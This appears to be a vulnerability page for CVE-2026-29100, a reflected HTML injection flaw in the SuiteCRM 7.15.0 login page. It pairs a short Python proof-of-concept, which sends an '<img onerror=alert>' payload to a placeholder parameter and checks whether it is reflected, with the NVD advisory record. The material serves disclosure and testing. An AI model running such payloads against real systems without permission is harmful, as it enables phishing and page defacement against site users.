CVE-2026-29100

# Proof of Concept for CVE-2026-29100 # Description: Reflected HTML Injection in Login Page import requests target = "http://example.com/index.php" # Malicious HTML payload to demonstrate injection payload = "<img src=x onerror=alert('XSS-HTML-Injection')>" # Example parameters often found in login pages params = { "module": "Users", "action": "Login", "parameter": payload # Replace 'parameter' with actual vulnerable param } response = requests.get(target, params=params) if payload in response.text: print("[+] Vulnerability Confirmed: HTML Injected") else: print("[-] Not Vulnerable or Parameter Incorrect")

{"cve": {"id": "CVE-2026-29100", "sourceIdentifier": "[email protected]", "published": "2026-03-19T23:16:42.080", "lastModified": "2026-03-24T14:39:27.950", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. SuiteCRM 7.15.0 contains a reflected HTML injection vulnerability in the login page that allows attackers to inject arbitrary HTML content, enabling phishing attacks and page defacement. Version 7.15.1 patches the issue."}, {"lang": "es", "value": "SuiteCRM es una aplicación de software de gestión de relaciones con clientes (CRM) de código abierto y lista para empresas. SuiteCRM 7.15.0 contiene una vulnerabilidad de inyección HTML reflejada en la página de inicio de sesión que permite a los atacantes inyectar contenido HTML arbitrario, lo que posibilita ataques de phishing y desfiguración de páginas. La versión 7.15.1 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:suitecrm:suitecrm:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.15.1", "matchCriteriaId": "73648654-E7F6-47CF-8E01-19BBFF737C99"}]}]}], "references": [{"url": "https://github.com/SuiteCRM/SuiteCRM/security/advisories/GHSA-g7hf-3j93-rwm5", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}